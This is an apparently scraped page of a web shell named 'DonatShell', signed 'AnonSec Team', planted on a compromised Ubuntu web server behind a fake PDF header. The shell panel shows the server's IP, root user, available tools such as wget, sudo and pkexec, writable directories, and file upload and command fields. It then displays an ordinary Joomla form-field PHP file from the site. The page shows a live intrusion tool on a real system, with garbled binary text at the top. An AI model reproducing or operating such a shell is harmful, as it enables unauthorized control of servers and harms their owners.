%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_pwebbox/form/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_pwebbox/form/fields/pwebfbpixel.php
<?php
/**
 * @version 3.4.6
 * @package PWebContact
 * @copyright © 2016 Perfect Web sp. z o.o., All rights reserved. http://www.perfect-web.co
 * @license GNU General Public License http://www.gnu.org/licenses/gpl-3.0.html
 * @author Piotr Moćko
 */

defined('_JEXEC') or die( 'Restricted access' );

JFormHelper::loadFieldClass('text');

/**
 * FB Pixel field
 */
class JFormFieldPwebFbPixel extends JFormFieldText
{
    protected $type = 'PwebFbPixel';

    protected function getInput()
    {

        $size = $this->element['size'];

        $doc = JFactory::getDocument();
        $doc->addScriptDeclaration(
'if(typeof jQuery!=="undefined")
jQuery(document).ready(function($){
$("#pwebbox_paste_'.$this->id.'").click(function(e){
		e.preventDefault();
		var s = prompt("'.JText::_('MOD_PWEBBOX_FBPIXEL_SCRIPT_PASTE').'");
		if(s){
				var u = s.match(/\'init\',\s?\'([\w_]+)/);
			if (u && typeof u[1] != "undefined") document.getElementById("'.$this->id.'").value = u[1];
		}
	});
});'
        );

        if (version_compare(JVERSION, '3.0.0') == -1)
        {
            $html  = '<div class="fltlft">';
            $html .= parent::getInput();
            $html .= '</div><div class="button2-left"><div class="blank">';
            $html .= '<a id="pwebbox_paste_'.$this->id.'" href="#">';
            $html .= JText::_('MOD_PWEBBOX_PASTE_BUTTON');
            $html .= '</a>';
            $html .= '</div></div>';
        }
        else
        {
            $html  = '<div class="input-append">';
            $html .= parent::getInput();
            $html .= '<a class="btn" id="pwebbox_paste_'.$this->id.'" href="#">';
            $html .= JText::_('MOD_PWEBBOX_PASTE_BUTTON');
            $html .= '</a>';
            $html .= '</div>';
        }

        if ($this->element['hidden'])
        {
            require_once 'fieldhelper.php';

            return modPwebboxFieldHelper::generateFieldWithLabel($this->id, $html, $this->element['label'], $this->element['description'], $this->required, $this->element['pweb_showon']);
        }

        return $html;
    }
}

Anon7 - 2022
AnonSec Team